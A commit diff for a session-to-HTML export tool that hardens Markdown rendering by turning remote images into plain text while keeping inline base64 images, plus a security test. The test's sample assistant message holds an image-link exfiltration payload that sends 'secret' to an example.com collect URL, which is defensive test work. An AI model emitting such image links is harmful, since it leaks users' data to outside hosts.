fix: flatten remote markdown images

This commit is contained in:
Ayaan Zaidi
2026-03-07 19:16:11 +05:30
committed by Ayaan Zaidi
parent 53a7e3b6e5
commit 4bf902de58
6 changed files with 133 additions and 19 deletions

View File

@@ -1712,6 +1712,22 @@
return text.replace(/<(?=[a-zA-Z/])/g, "&lt;");
}
const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i;
function normalizeMarkdownImageLabel(text) {
const trimmed = typeof text === "string" ? text.trim() : "";
return trimmed || "image";
}
function renderMarkdownImage(token) {
const label = normalizeMarkdownImageLabel(token?.text);
const href = typeof token?.href === "string" ? token.href.trim() : "";
if (!INLINE_DATA_IMAGE_RE.test(href)) {
return escapeHtml(label);
}
return `<img src="${escapeHtml(href)}" alt="${escapeHtml(label)}">`;
}
// Configure marked with syntax highlighting and HTML escaping for text
marked.use({
breaks: true,
@@ -1750,6 +1766,9 @@
html(token) {
return escapeHtml(token.text);
},
image(token) {
return renderMarkdownImage(token);
},
},
});

View File

@@ -250,4 +250,38 @@ describe("export html security hardening", () => {
expect(img?.getAttribute("onerror")).toBeNull();
expect(img?.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA");
});
it("flattens remote markdown images but keeps data-image markdown", () => {
const dataImage = "data:image/png;base64,AAAA";
const session: SessionData = {
header: { id: "session-4", timestamp: now() },
entries: [
{
id: "1",
parentId: null,
timestamp: now(),
type: "message",
message: {
role: "assistant",
content: [
{
type: "text",
text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`,
},
],
},
},
],
leafId: "1",
systemPrompt: "",
tools: [],
};
const { document } = renderTemplate(session);
const messages = document.getElementById("messages");
expect(messages).toBeTruthy();
expect(messages?.querySelector('img[src^="https://"]')).toBeNull();
expect(messages?.textContent).toContain("exfil");
expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy();
});
});